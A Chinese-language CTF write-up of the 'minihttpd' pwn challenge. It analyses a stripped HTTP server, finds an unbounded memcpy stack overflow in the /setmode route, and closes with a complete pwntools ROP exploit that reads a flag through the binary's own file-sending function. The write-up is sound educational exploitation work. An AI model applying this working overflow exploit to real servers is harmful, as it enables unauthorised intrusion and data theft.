马哥和师兄们去广州打国赛半决了,在工位也没啥事情干,复现一下国赛初赛pwn题吧,本来是想从最多解的ram_snoop(77解)开始的,结果扫了一眼发现是Kernel Pwn,等有时间了再学学吧,先复现一下第二多解的minihttpd(47解)
信息收集
本题描述:小A刚参加工作不久,接到任务需要用C语言给一款嵌入式设备开发一个http服务端,用于业务通信。他刚把httpd框架写好,希望有人帮他测试一下有没有安全问题,你能帮帮他吗?
附件给出了libc和资源文件,查看libc版本发现为2.31

这个main就是httpd服务文件,先查看一下保护:

没有canary,就要考虑一下程序里是不是有栈溢出了。 查看沙箱规则:

明显可以通过ORW来利用(其实这道题甚至不需要syscall,后面会提到) 接下来,拖进IDA中分析一下程序
程序分析
因为此前没有接触过httpd服务的相关pwn题(才疏学浅),再加上这道题的ELF去除了符号表,花了不少时间重构整个程序的逻辑,把其中的函数名和关键的变量进行重命名(所以有些变量可能重命名的跟逻辑并不一致,私密马赛),我们先从main函数看起:

我们先分析main函数执行的第一个功能函数start_service

其实这个函数只做了一件事,就是在本地开启一个服务监听端口,由main函数传入的变量我们可以得知,这个服务默认监听0.0.0.0:9999
![]()
在main函数中,执行完start_service紧接着执行了一个函数(被我重命名为route),也是这道题利用链中的一环

之所以重命名这个函数为route是因为这个函数中存在明显的路由字段,进入register_route:

这里因为是反编译的原因,涉及到全局变量和指针偏移,伪代码看起来十分丑陋,但其实分析数据流会发现其逻辑如下:
struct Route { char* path; char* method; void* handler_func;};
struct Route route_table[32]; // 对应 unk_406040 等地址int route_count = 0; // 对应全局变量 n31
int register_route(char *path, const char *method, void *handler) { if ( route_count > 31 ) return -1; route_table[route_count].path = path; route_table[route_count].method = method; route_table[route_count].handler_func = handler; route_count++; return 0;}简单来说就和我重命名的函数名一样,是用来注册路由的
接下来我们看看不同路由的实现逻辑,首先是/hello:

毛也没有,看看/echo:

同样是毛也没有,再看看/setmode:

这里就出现了关键漏洞,memcpy时没有校验长度,导致可以任意长度数据写入内存,进而修改栈上的内容,我们来分析一下漏洞产生的原因:
v12 = strchr(s_1, 61); //这里读取"="(ASCII为61)后的内容,结合传入的参数,应该是/setmode=xxxx if ( v12 ) { length_key = (_DWORD)v12 - (_DWORD)s_1; //"="前的长度,web中的key部分 length_value = a3 - ((_DWORD)v12 - (_DWORD)s_1) - 1; //"="后的长度, web中的value部分 /* 初始化两块内存 */ memset(dest, 0, sizeof(dest)); memset(ptr, 0, 0x10u);
memcpy(dest, s_1, length_key); //将key的值复制进dest中 dest[9] = 0; memcpy(ptr, v12 + 1, length_value); //将value的值复制进ptr中,此处的value为用户传进的数据,而ptr在栈上的空间有限,只要我们写入足够大的value便可以实现栈溢出进而覆盖rbp和返回地址我们试着传入大量数据来验证栈溢出(这里的request具体的内容是后续分析函数得到的,这里先看脚本测试栈溢出的逻辑就好):

发现程序确实抛出了报错:

那我们接下来要做的就是找到精确的偏移量,用cyclic输出2000个字符:

发现偏移量1088时正好覆盖RBP:

那么这个栈溢出就可以先放在这里成为我们的利用手段,继续分析后续的函数
getmode路由我就不分析了,setmode是写入mode,getmode自然是读取mode,但是文件路径硬编码了,不存在任意读取
继续回到main函数:

这里是一段多线程并发 TCP 的逻辑,之前web_pwn打的少,其实可以细看这段多线程的处理逻辑:

首先,主线程在accept处阻塞,等待客户端连接。当有新的连接到来时,accept会返回一个新的文件描述符(新 fd,代表这个具体的客户端连接),而全局的 ::fd 继续保持监听状态,还设计了异常处理,如果系统文件描述符耗尽或发生中断就退出循环

接着,分配独立内存,通过 malloc(4)在堆上分配了 4 个字节的内存(刚好够存一个 32 位的整型 fd),然后将刚才接收到的新连接 fd存入这块内存中(*(_DWORD *)ptr = fd;),同样设计了异常处理。
(其实这里是可以思考为什么需要在堆上分配这个内存的,在并发环境中,如果用类似pthread_create(&newthread, 0, start_routine, &fd);这样的写法来创建新线程是极易引发条件竞争漏洞的,而用堆内存的方式就可以使得子线程的fd不会被影响)
最后调用pthread_create创建一个新线程。新线程的入口函数是 start_routine,并将刚才包含了fd的堆内存指针ptr作为参数传递给新线程。
那么接下来就到分析start_routine的时候,从main函数中也可以看出,这个函数是作为接受request的处理函数,因为初始化变量的部分实在太长,我们直接从真正的功能段开始看:

这一段是用来提取request中的关键的内容的,首先提取method,只能用GET或POST,再提取请求的路径放入数组中(被我重命名为路径233)

这里有一个小WAF:路径不能为空、禁止”../“防路径穿越、白名单字符校验(字母+数字+/ . _ - ?)

还有一个路径WAF:

然后进入了一个open_file函数,看看逻辑:

这就是为什么我最开始说其实这个题甚至不需要syscall来做的原因,这个函数提供了open和send的部分,如果我们可以劫持执行流到这个函数,我们就可以直接将flag发送至我们的终端。 GET方法的处理逻辑看完了,接下来我们要关注的就是我们的重点,也就是如何处理POST请求:

写的有点累了,反正大概意思就是检查content_length一致性且content_length不能大于2046,其中存在Router_Dispatcher就是用来处理路由的

只要我们发送/setmode就能出发setmode的路由(具体的测试脚本见上)
利用链
到这整个利用链条就很清晰了,通过栈溢出劫持程序执行流,并且调整寄存器值调用open_file函数发送flag,但是还有一个细节我们需要考虑:ELF中没有现成的/flag字段,我们需要自行写入,我们自然想到既然是httpd服务肯定会有recv函数,但问题又来了,recv函数需要我们控制rdx(接收字节数),但是二进制中并没有允许我们控制recv的gadget:

但这里有个巧合是,在setmode(栈溢出函数)返回前,最后执行的是send(),此时rdx恰好为resp的长度,那么对于我们接收的length肯定是够的,那么我们就可以着手写exp了

exp:
#!/usr/bin/env python3from pwn import * # type: ignore
e = ELF("./main_patched")libc = ELF("./libc.so.6")ld = ELF("./ld-2.31.so")
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]remote_addr = ""remote_port = ""context.binary = econtext.log_level = "debug" # error/debug
if args.REMOTE: p = remote(remote_addr, remote_port)elif args.GDB: gdbscript = """""" p = gdb.debug(e.path, gdbscript=gdbscript)else: p = remote("0.0.0.0", 9999)
sd = lambda a: p.send(a)sl = lambda a: p.sendline(a)rc = lambda a=4096: p.recv(a)rl = lambda: p.recvline()ru = lambda a: p.recvuntil(a)uu32 = lambda a: u32(a.ljust(4, b"\x00"))uu64 = lambda a: u64(a.ljust(8, b"\x00"))sh = lambda: p.interactive()slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}")
def debug(cmd=""): if not args.REMOTE: gdb.attach(p, cmd) pause()
pop_rdi = 0x402FF3pop_rsi_r15 = 0x402FF1pop_rsp_r13_r14_r15 = 0x402FEDbss_addr = 0x427000recv_addr = 0x401CF0open_file_addr = 0x402663
body = ( b"setmode=" + b"A" * 1088 + p64(bss_addr) + p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(bss_addr) + p64(0) + p64(pop_rdi + 1) + p64(recv_addr))
post_body = f"POST /setmode\r\nContent-Length:{len(body)}\r\n\n".encode()# pause()sd(post_body + body)
flag = b"/flag\x00\x00\x00"payload = ( flag + p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(bss_addr) + p64(0) + p64(open_file_addr))sleep(0.5)
sd(payload)rc()
sh()